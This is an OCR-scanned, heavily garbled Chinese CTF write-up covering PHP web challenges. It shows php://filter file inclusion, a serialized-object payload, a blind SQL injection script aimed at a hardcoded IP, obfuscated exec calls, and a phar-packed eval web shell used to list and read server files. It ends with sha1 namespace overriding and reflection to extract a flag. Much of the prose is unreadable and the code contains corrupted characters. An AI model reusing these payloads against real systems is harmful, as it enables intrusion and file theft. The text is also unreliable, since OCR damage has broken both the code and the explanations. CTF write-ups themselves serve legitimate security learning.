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php bt SR BIR Y
?file=php://filter/read=convert.base64-encode/resource=index.php
index.php

<html>
<?php
error_reporting(®);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(lisset($file)){
echo 'Missing parameter'.'<br>"';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!");
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}

@include($file);

if(isset($payload))

{

$url = parse_url($_SERVER[ 'REQUEST_URI']);
parse_str($url[ 'query'],$query);
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17 foreach($query as $value)

18 {

19 if (preg_match("/flag/",$value)) {
20 die('stop hacking!');

21 exit();

22 }

23

24 }

25 $payload = unserialize($payload);

26 }

27 else{

28 echo "Missing parameters”;

29 }

30 ?>

31 <!--Please test index.php?file=xxx.php -->
32 <!--Please get the source of hint.php-->
33 </html>

hint.php


https://blog.csdn.net/weixin_30446613
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/kagari/p/10758155.html

1 <?php
2 class Handle{

3 private $handle;
4 public function __wakeup(){
5 foreach(get_object_vars($this) as $k => $v) {
6 $this->$k = null;
7 }
8 echo "Waking up\n";
9 }
10 public function __construct($handle) {
11 $this->handle = $handle;
12 }
13 public function __destruct(){
14 $this->handle->getFlag();
15 }
16 }
17

18 class Flag{

19 public $file;

20 public $token;

21 public $token_flag;

22

23 function __construct($file){

24 $this->file = $file;

25 $this->token_flag = $this->token = md5(rand(1,10000));
26}

27

28 public function getFlag(){

29 $this->token_flag = md5(rand(1,10000));

30 if($this->token === $this->token_flag)

31 {

32 if(isset($this->file)){

33 echo @highlight file($this->file,true);
34 }

35}

36 }

37 }

38 >
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$a=new Flag('flag.php');
$a->token = &$a->token flag;
$b=new Handle(%$2a);

echo serialize($b);

&%payload: 53 4hKH A I %004 42 B FRF

/llindex.php?file=hint.php&payload=0:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
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1 #coding=utf-8

2 import requests

3 s=""

4 url="http://39.97.227.64:52105/"
5 for i in range(100):

6 for j in range(30, 128):

7 username="" and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from
user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=1i,j=7)
8 data = {"username":username,"password":i}
9 r=requests.post(url,data=data)
10 r=r.content
11 if "HIEERERK! ' in
12 s+=chr(j)
13 print s

14 print s #F1AG@ls-at_/f1ll1llag_h3r3

RIREUH 4 admin, #iSAF1AG@1s-at_/fll1llag_h3r3
NG G R —DMR—Amysql&E P55, 7 UEBERRS 4,

XEERGREE —MERSCHIRNIR, 81 JLREJctfP s, FreAE#¥rogue_mysqgl_server.py#EiF, &
B3R AU SO R/fIlag_h3r3, i NipHbhk iz B Ep AT
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1 for($i = 9;%$i<=36;%i+=1)
2 echo base_convert(exec,34,%$i)."' '.$i."<br>";

LA E B 2 AR, &TFHFH—AE&i&Epayload
($pi=base_convert)(22950,23,34)($pi(76478043844.,9,34)(dechex(109270211257898)))

K 79,4024 Fexec('cat f*'), Fisystem(cat *) K& 42 580, .
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?route=php:/ffilter/read=convert.base64-encode/resource=index

index.php
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<?php

error_reporting(E_ALL);

define('LFI', 'LFI');

$1fi = $_GET['route'] ?? false;

if (1$1Fi) {
header("location: ?route=app/index");
exit();

}

include "{$1fi}.php";

//Good job, you know how to use LFI, don't you?

//But You are still far from flag

//hint: ?router=app/flag

app/flag.php
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<?php
if (!defined('LFI")) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];"';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more

backup.zip

information
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HAIRISDKIET AN FSHA1 A it key 2 A IEH:

public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}

return false;
}
WRIERE, FiIASDKEIREflag,

PS: AT HESNARIIRTE, 518

fErobots.txtH, KIL_EAE S

User—agent: *
Disallow: /?route=app/Upl0aD

] B R B R € L A%jpgMgif, BUARTEAZAE X &M, STCUEY L& L%, )5 Mphardy
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MAHFIEAIE: upload/eval.gif.gif

B siAFRMmBFE RS LE80.
EMERESIFRIARITISBE T, FEEHRIINEIEREAL KA E
SEIEIRRAUSE: | s SRR

Submit
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[ ] eval.php 1Ki
7 eval.php - iE%A

) fEE(E) HETU(0) ER() #B(H)

<?php eval($_GET['cmd']); ?\>

1§ F ?route=phar://upload/eval.gif.gif/eval&md=code

R I systemBAT A T s 4

4T T phpinfo(); R A KRB R #, HIRHAZEMscandirflifile_get_contentsir LA AT LLiszAHS

1t ERE returnBH A2 ELERflag, FIEIERflagifEXE.

2 A ERRIshal REAPHPIEE iR hashEdl, (http://php.net/manual/zh/function.shal.php)
3BT R A RIS E A biE Tsdk.php, EHTHITHEERS SMME LB,

4 FXEPDIREBREE—ERNhint, RGRBSIRE AR, FogeraRIKHIBEE.

LT



disable functions

pcntl alarm,pentl fork,pentl waitpid,pentl wait,pentl
wifexited,pentl wifstopped,pentl wifsignaled,pentl
wifcontinued,pentl wexitstatus,pentl wtermsig,pentl
_wstopsig,pentl_signal,pentl_signal get handler,pen
tl signal dispatch,pcntl get last error,pentl strerror,
pcntl sigprocmask,pentl sigwaitinfo,pentl_sigtimed
wait,pcntl exec,pentl_getpriority,pentl_setpriority,pc
ntl async signals,passthru,exec,system,shell exec,pr
oc_open,popen,ini_alter,ini_restore,dl,openlog,syslog
,readlink,symlink,putenv

phar://upload/eval.gif.gif/feval&cmd=print_r(scandir("."));

Array

(
[0] => .
(11 = ..
[2] => app

[3] => backup. zip
[4] => flag. txt
[5] => index. php
[6] => robots. txt
[7] => upload

Rbiflag.txt, EHEBEMET

phar://upload/eval.gif.gif/feval&cmd=print_r(scandir("app"));

Array

(
(o] =>.
[l = ..

[2] => Upl0aD. php
[3] => flag. php
[4] => index. php

pcntl alarm,pentl fork,pentl waitpid, pentl wait, pentl
wifexited,pentl wifstopped,pentl wifsignaled,pentl
wifcontinued,pentl wexitstatus,pentl wtermsig,pentl
_wstopsig,pentl_signal,pentl_signal get handler,pen
tl signal dispatch,pcntl get last error,pentl strerror,
pcntl sigprocmask,pentl sigwaitinfo,pentl_sigtimed
wait,pcntl exec,pentl_getpriority,pentl setpriority,pc
ntl async signals,passthru,exec,system,shell exec,pr
oc_open,popen,ini_alter,ini_restore,dl,openlog,syslog
,readlink,symlink,putenv

phar://upload/eval.gif.gif/feval&cmd=print_r(file_get contents("app/Up10aD.php"));



1 <?php
2 if (!defined('LFI")) {

3 echo "Include me!";

4 exit();

5}

6

7 if (isset($_FILES["file"])) {

8 $filename = $_FILES["file"]["name"];
9 $fileext = ".gif";
10 switch ($_FILES["file"]["type"]) {
11 case 'image/gif':
12 $fileext = ".gif";
13 break;
14 case 'image/jpeg':
15 $fileext = ".jpg";
16 break;
17 default:
18 echo "Only gif/jpg allowed";
19 exit();
20 }
21 $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
22 move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
23 echo "XHEFEAME: {$dsti<br />";
24 }
25 ?>
26 <html>
27
28 <head>
29 <meta charset="UTF-8">

30 </head>

31

32 <body>

33 AR REILIE TR H A M RE L&D, <br />
34 EIE R B UFHIARITBE T, RMERMKSIER T T —RH (A&

35 <form method="post" enctype="multipart/form-data">

36 <label for="file">REFMRIKISCHIE:</label>

37 <input type="file" name="file" id="file" />

38 <br />

39 <input type="submit" name="submit" value="Submit" />
40 </form>

41

42 </body>

43

44 </html>

phar://upload/eval.gif.gif/feval&cmd=print_r(file_get_contents("app/index.php"));



1 <?php

2 if (!defined('LFI')) {

3 echo "Include me!";

4 exit();

5}

6 ?>

7 <html>

8

9 <head>
10 <meta charset="UTF-8">
11 </head>
12
13 <body>
14
15 Hi CTFer,<br />
16 XR—AEEEEHRPSDKRS, ERMEFRASMRE<! --R-->ftflagebr />
17 Powered by Aoisystem<br />
18 <l-- error_reporting(E_ALL); -->
19
20 </body>
21
22 </html>

phar://upload/eval.gif.gif/eval&cmd=scandir("/");
RIUctf B ] DAL

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/:/tmp/:/ctf/) in
phar:///var/www/html/upload/eval.gif.gif/eval.php(1) : eval()'d code on line 1

Warning: scandir(/): failed to open dir: Operation not permitted in phar:///var/www/html/upload/eval.gif.gif/eval.php(1) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in phar:///var/www/html/upload/eval.gif.gif/eval.php(1) : eval()'d code on line 1

phar://upload/eval.gif.gif/feval&cmd=print_r(scandir("/ctf"));

Array

(
(o] = .
(11 => ..

[2] => ixed.lin
[3] => sdk. php

phar://upload/eval.gif.gif/feval&cmd=print_r(file_get contents("/ctf/sdk.php"));

1 <?php ?><?php //CN: X —AME AR TR KPHPS M, MRIEAFEMPZE. EN: Advanced encrypted PHP File,
You do not need to decrypt it.<?php

2 return sg_load('A99ED... b EHE—T

F...ATbQ8qZpbG56QOFLEBDIHgiLuorcDsqfVG2iU/ /NL19Hh8BwjQHCLFQOZINSeuSKrMFO6UREgAAAAA=") ;

phar://upload/eval.gif.gif/feval&cmd=print_r(file_get contents("/ctf/ixed.lin"));
BBl —Aelf X, BRRERMEMAL, WHRATEBRR, BAEREERK. . .
WEERTHAEREE, KIARF TsdFRIXHEPHART . -
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FARISDKIEITAN FSHA1 A G key 2 A 1EH:

public function verify($key)

{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
SNERIEFARNE, FAIBISDKEREflag.

PS: AT HESNARIIRTE, 518

1t ERE returnBH A2 ELERflag, FIEIERflagifEXE.

2.t ERRshal REIPHPIEE iR hashEEl, (http://php.net/manual/zh/function.shal.php)
3BT A MRS E AR Tsdk.php, EHETIEITEEEIRSG SBIME HiET.

4 FXEPDIREBREE—ERNhint, RGRBSIRE AR, FogeraRIKHIBEE.

RERBITEB N —/keyS5getHash—3, FA1HAEIRBflag.

SEAMEZLER, BT 2O, RABIUT B4R
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[ ] eval.php
[] flag.php
_|flag.php - iB54
MAHF) #HEE(E) B0) E=EV) #HEE(H)
<?php
use interesting\FlagSDK;
$sdk = new FlagSDK();
print_r($sdk -> getHash());

%, phar://upload/eval.gif.gif/flag

Fatal error: Uncaught Errgr: Call to private method interesting\FlagSDK::getHash()

Stack trace: #0 fvar/www/|

rom context " in phar:///var/www/html/upload/eval.gif.gif/flag.php:4
var/www/html/upload/eval.gif.gif/flag.php on line 4
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Hlr bt ===, HERFHER.

R N R =KEeE, #RERE52E, REEMphptx, KIphpMIAAE TTESRRE LA,
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[ ] eval. php
[ flag.php

_| flag.php - 154
M) %REE(E) 530(0) BEE(V) #BEI(H)
<?php
namespace interesting;
function shal(%a)

{

return true;

}
use interesting\FlagSDK;

var_dump(shal('123");

& [8]

bool(true)
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_|flag.php - iBZ#
SHH(F) fREE(E) 183U(0) ER(YV) #EhH)
<?php
namespace interesting;
function sha1(%a)

{

return true;
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$flag = $sdk->verify('1);
var_dump($flag);

7>
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bool(false)

XELEXMT, X4getHash/\ B2 — N EHshalffthash, RE%I A\ EhashA feidid
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BRI ER92,650,000 BETR
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20165F8854H - PHPH) gei()ﬂl set(), Hrfﬁtﬂixxﬁﬂ\ﬁ)’ﬁ 08-06 [FiL&Y 3724 7222
B2 SREUEME AT L B E Y getXXX(FlsetXXX () FFi%, 24— ErhE 2 N EMT ..
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2019¢2H1 H- Lﬂﬁﬁhﬁlﬂﬂxﬁﬁ £ c# LQ&EMKHW\EH& JUnit 3.8 1B AT
WFVE % javaRSTEAME DA ESGAE B PHPENRATSIERA. .
https://www.cnblogs.com/Ikbk/... ~ - EBfEHRER

RMAN RS ATLLEE, 456/ H % Frefspace, spacefgnamespace,
ARASE T 2 B

_| flag.php - iBFA
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<?php

$ref class = new ReflectionClass("\interesting\FlagSDK');
$instance = $ref class->newlnstance();

$method = $ref class->getmethod('getHash");

$method->setAccessible(true);

echo $method->invoke($instance);
75

jKHhash, a356bc8d9d3e69beea3c15d40995f395425e7813

REKAREZNWT, Kitflag

<?php

namespace interesting;
function sha1($a)

{

return 'a356bc8d9d3e69beea3c15d40995f395425e7813";
}

use interesting\FlagSDK;
$sdk = new FlagSDK();
$flag = $sdk->verify('1");
var_dump($flag);

7>

string(43) "flag{a9e31914-c7a3-46ed-a66d-56a81e066dee} "

¥, F https://www.cnblogs.comvkagari/p/10758155.html
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